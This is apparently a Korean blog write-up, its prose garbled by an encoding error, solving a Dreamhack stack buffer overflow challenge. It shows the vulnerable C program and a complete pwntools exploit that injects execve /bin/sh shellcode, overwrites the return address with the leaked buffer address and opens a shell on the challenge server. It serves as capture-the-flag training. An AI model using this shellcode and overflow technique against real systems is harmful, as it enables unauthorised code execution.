1. Environment
Ubuntu 16.04
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
2. Code
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
printf("buf = (%p)\n", buf);
scanf("%141s", buf);
return 0;
}
3. Write Up
mainํจ์๋ฅผ ๋ณด๋ฉด buf์ ํฌ๊ธฐ๋ 0x80(128๋ฐ์ดํธ) ์ธ๋ฐ ์ ๋ ฅ์ผ๋ก %141s ๋ฅผ ๋ฐ๊ณ ์๋ค. ์ฌ๊ธฐ์ BOF ๋ฐ์ ๊ฐ๋ฅ
return address ๋ BUF[80] ์์ SFP[4] ๋งํผ ๋จ์ด์ง ๊ณณ์ ์กด์ฌ
๋ฐ๋ผ์ BUF์ ์์ฝ๋๋ฅผ ์ ๋ ฅํ ํ 0x84์์ ์์ฝ๋๋งํผ์ ํฌ๊ธฐ๋ฅผ ๋บ ๋ค์ ๋๋ฏธ๊ฐ์ผ๋ก ์ฑ์์ฃผ๊ณ ,
RET์ buf์ ์ฃผ์๋ฅผ ๋ฃ์ด์ค๋ค๋ฉด ์์ ๋ธ ์ ์๊ฒ ๋๋ค.
์ฌ๊ธฐ์ ์ฃผ์ํ ์ ์ scanf ๋ก ์ ๋ ฅ๋ฐ์ ๋ ์ธ์์ ๋ชปํ๋ ์์ฝ๋๊ฐ ์กด์ฌํ๋ค → 25๋ฐ์ดํธ๊ฐ ์๋ 26๋ฐ์ดํธ ์์ฝ๋ ์ด์ฉ
buf๊ฐ์ด ๊ณ์ํด์ ๋ณํ๊ธฐ ๋๋ฌธ์ (ASLR) ๋๋ฌธ์ nc๋ฅผ ํตํด ํฌํธ ์ฐ๊ฒฐ์ ํ ํ์ ๋ฐ์์ค๋ buf ๊ฐ์ buf_add ์ ์ ๋ ฅํ๊ณ
payload๋ฅผ ์์ ๊ฐ์ด ์ง๋ณด์๋ค.
์ฌ๊ธฐ์ ๊ณ์ ํด์
can only concatenate str (not “bytes”) to str ์ค๋ฅ๊ฐ ๋ฐ์ํ๋๋ฐ ์ด๊ฑด python3์์ ์๊ธฐ๋ ์ค๋ฅ์ด๋ค.
ascii ์ฝ๋๋ฅผ byte type๋ก ๋ชจ๋ ๋ณ๊ฒฝํ๋ ์ค๋ฅ ํด๊ฒฐ
โท Exploit Code
from pwn import *
p = remote("host3.dreamhack.games", 8884)
shellcode = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
p.recvuntil("(")
buf_add = int(p.recv(10), 16)
payload = shellcode + b'\x41' * 106 + p32(buf_add)
p.sendline(payload)
p.interactive()
'Wargame > Dreamhack' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[Pwnable] Return Address Overwrite (0) | 2023.02.16 |
---|---|
[Pwnable] Basic_exploitation_003 (0) | 2023.02.16 |
[Pwnable] shell_basic (0) | 2023.02.16 |
[Pwnable] Basic_exploitation_001 (0) | 2023.02.16 |
[Pwnable] Welcome (0) | 2023.02.16 |